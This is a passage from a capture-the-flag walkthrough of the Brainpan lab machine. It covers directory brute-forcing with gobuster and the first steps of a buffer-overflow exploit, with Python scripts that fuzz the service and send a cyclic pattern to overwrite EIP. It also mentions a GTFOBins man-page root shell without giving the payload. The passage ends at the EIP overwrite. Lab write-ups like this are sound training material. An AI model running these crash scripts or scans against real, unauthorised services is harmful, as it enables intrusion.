On port 10000, we can download a Windows executable in a hidden directory. This is an OSCP-like Windows Buffer Overflow exploit development challenge. Note that the victim machine is running Linux, not Windows.
In the privilege escalation, sudo -l allows us to open man page as root. Here we can spawn a root shell using a privesc payload from GTFOBins.
IP
RHOST: 10.10.180.215
LHOST: 10.13.12.2
Nmap
Asset Discovery
Run Gobuster against port 10000:
gobuster dir -u http://brainpan1.thm:10000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Gobuster finds /bin:
Visit http://brainpan1.thm:10000/bin and download the executable:
User Shell (Windows buffer overflow)
Step 1: Fuzzing (Locally)
Write a script:
#!/usr/bin/python3
import sys, socket
from time import sleep
#--------Changeme--------#
#
host = "192.168.1.2" #
port = 9999 #
#
#------------------------#
buffer = b"A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
payload = buffer + b"\r\n"
print(f"[+] Sending the payload of length {len(buffer)}...")
s.send(payload)
s.close()
sleep(1)
buffer += b"A" * 100
except:
print(f"Fuzzer crashed at {len(buffer)} bytes")
sys.exit()
We learn that the offset is less than 1000 bytes:
Step 2: Finding the Offset (Locally)
Generate a pattern of 1000 bytes:
!mona pc 1000
Update the script:
#!/usr/bin/python3
import sys, socket
from time import sleep
#--------Changeme--------#
#
host = "192.168.1.2" #
port = 9999 #
#
#------------------------#
# !mona pc 1000
pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
payload = pattern + b"\r\n"
s.send(payload)
s.close()
except:
print("Error connecting to server")
sys.exit()
Run this script and brainpan crashes. Note that the EIP is overwritten: